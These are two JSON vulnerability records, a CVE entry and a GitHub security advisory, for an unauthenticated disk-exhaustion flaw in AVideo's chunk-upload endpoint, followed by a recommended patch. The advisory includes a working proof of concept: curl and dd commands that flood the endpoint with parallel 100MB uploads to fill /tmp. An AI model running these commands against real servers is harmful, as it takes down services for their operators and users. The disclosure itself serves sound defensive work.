{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el endpoint \u0027aVideoEncoderChunk.json.php\u0027 es un script PHP completamente aut\u00f3nomo sin autenticaci\u00f3n, sin inclusiones de framework y sin l\u00edmites de recursos. Un atacante remoto no autenticado puede enviar datos POST arbitrarios que se escriben en archivos temporales persistentes en \u0027/tmp/\u0027 sin l\u00edmite de tama\u00f1o, sin limitaci\u00f3n de velocidad y sin mecanismo de limpieza. Esto permite un agotamiento trivial del espacio en disco lo que lleva a la denegaci\u00f3n de servicio de todo el servidor. El commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contiene un parche."
    }
  ],
  "id": "CVE-2026-33483",
  "lastModified": "2026-03-24T18:36:55.063",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T15:16:34.717",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/33d1bae6c731ef1682fcdc47b428313be073a5d1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vv7w-qf5c-734w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:46:50Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `aVideoEncoderChunk.json.php` endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in `/tmp/` with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.\n\n## Details\n\nThe file `objects/aVideoEncoderChunk.json.php` (25 lines total) operates entirely outside the AVideo framework:\n\n```php\n// objects/aVideoEncoderChunk.json.php \u2014 full file\n\u003c?php\nheader(\u0027Access-Control-Allow-Origin: *\u0027);           // Line 2: CORS wildcard\nheader(\u0027Content-Type: application/json\u0027);\n$obj = new stdClass();\n$obj-\u003efile = tempnam(sys_get_temp_dir(), \u0027YTPChunk_\u0027);  // Line 5: creates /tmp/YTPChunk_XXXXXX\n\n$putdata = fopen(\"php://input\", \"r\");              // Line 7: reads raw POST body\n$fp = fopen($obj-\u003efile, \"w\");\n\nwhile ($data = fread($putdata, 1024 * 1024)) {     // Line 12: 1MB chunks, no limit\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\nsleep(1);\n$obj-\u003efilesize = filesize($obj-\u003efile);\n\n$json = json_encode($obj);\ndie($json);                                         // Line 25: returns {\"file\":\"/tmp/YTPChunk_abc123\",\"filesize\":104857600}\n```\n\nThe vulnerability chain:\n\n1. **No authentication**: The script includes no session handling, no `require_once` of the framework, no `useVideoHashOrLogin()`, no `canUpload()` \u2014 nothing. Compare with `aVideoEncoder.json.php` which includes `configuration.php` and calls authentication functions.\n\n2. **No size limits**: `php://input` is read until exhaustion. The effective limit is PHP\u0027s `post_max_size`, which AVideo\u0027s `.htaccess` has commented-out settings for 4GB (`#php_value post_max_size 4G` at line 536). Default AVideo installations recommend at least 100MB.\n\n3. **No cleanup**: A grep for `YTPChunk_` across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.\n\n4. **Path disclosure**: The response JSON includes the full filesystem temp path (e.g., `/tmp/YTPChunk_abc123`), revealing server directory structure.\n\n5. **CORS wildcard**: `Access-Control-Allow-Origin: *` on line 2 means any malicious webpage can trigger this attack via the visitor\u0027s browser, potentially distributing the attack across many source IPs.\n\n6. **Public routing**: `.htaccess` line 437 rewrites `/aVideoEncoderChunk.json` to this file, making it accessible at a clean URL.\n\n## PoC\n\n**Step 1: Confirm endpoint is accessible and unauthenticated**\n```bash\ncurl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  --data-binary \u0027test\u0027\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_XXXXXX\",\"filesize\":4}\n```\n\n**Step 2: Write a large temp file (100MB)**\n```bash\ndd if=/dev/zero bs=1M count=100 2\u003e/dev/null | \\\n  curl -s -X POST https://target/aVideoEncoderChunk.json \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  --data-binary @-\n```\nExpected output:\n```json\n{\"file\":\"/tmp/YTPChunk_YYYYYY\",\"filesize\":104857600}\n```\n\n**Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB)**\n```bash\nfor i in $(seq 1 10); do\n  dd if=/dev/zero bs=1M count=100 2\u003e/dev/null | \\\n    curl -s -X POST https://target/aVideoEncoderChunk.json \\\n    -H \u0027Content-Type: application/octet-stream\u0027 \\\n    --data-binary @- \u0026\ndone\nwait\n```\n\n**Step 4: Verify files persist (they are never cleaned up)**\n```bash\n# On the server:\nls -la /tmp/YTPChunk_*\n# All files remain indefinitely\n```\n\n## Impact\n\n- **Denial of Service**: Filling `/tmp/` causes cascading failures \u2014 PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo.\n- **No authentication barrier**: Any anonymous internet user can trigger this attack.\n- **Cross-origin exploitation**: The CORS wildcard header allows any malicious website to use visitors\u0027 browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level.\n- **Information disclosure**: The temp file path in the response reveals the server\u0027s filesystem layout.\n- **Persistence**: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.\n\n## Recommended Fix\n\nReplace `objects/aVideoEncoderChunk.json.php` with a version that includes authentication, size limits, and cleanup:\n\n```php\n\u003c?php\nif (empty($global)) {\n    $global = [];\n}\nrequire_once \u0027../videos/configuration.php\u0027;\n\nheader(\u0027Content-Type: application/json\u0027);\nallowOrigin(); // Use AVideo\u0027s configured CORS instead of wildcard\n\n// Require authentication\n$userObj = new User(0);\nif (!User::canUpload()) {\n    http_response_code(403);\n    die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027Not authorized\u0027]));\n}\n\n// Enforce size limit (e.g., 200MB)\n$maxSize = 200 * 1024 * 1024;\n$contentLength = isset($_SERVER[\u0027CONTENT_LENGTH\u0027]) ? (int)$_SERVER[\u0027CONTENT_LENGTH\u0027] : 0;\nif ($contentLength \u003e $maxSize) {\n    http_response_code(413);\n    die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027Payload too large\u0027]));\n}\n\n$obj = new stdClass();\n$obj-\u003efile = tempnam(sys_get_temp_dir(), \u0027YTPChunk_\u0027);\n\n$putdata = fopen(\"php://input\", \"r\");\n$fp = fopen($obj-\u003efile, \"w\");\n$written = 0;\n\nwhile ($data = fread($putdata, 1024 * 1024)) {\n    $written += strlen($data);\n    if ($written \u003e $maxSize) {\n        fclose($fp);\n        fclose($putdata);\n        unlink($obj-\u003efile);\n        http_response_code(413);\n        die(json_encode([\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027Payload too large\u0027]));\n    }\n    fwrite($fp, $data);\n}\n\nfclose($fp);\nfclose($putdata);\n\n$obj-\u003efilesize = filesize($obj-\u003efile);\n// Do not expose full filesystem path\n$obj-\u003efile = basename($obj-\u003efile);\n\ndie(json_encode($obj));\n```\n\nAdditionally, add a cleanup cron job or garbage collection to remove `YTPChunk_*` files older than a configurable timeout (e.g., 1 hour).",
  "id": "GHSA-vv7w-qf5c-734w",
  "modified": "2026-03-25T18:49:45Z",
  "published": "2026-03-20T20:46:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vv7w-qf5c-734w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/33d1bae6c731ef1682fcdc47b428313be073a5d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Affected by Unauthenticated Disk Space Exhaustion via Unlimited Temp File Creation in aVideoEncoderChunk.json.php"
}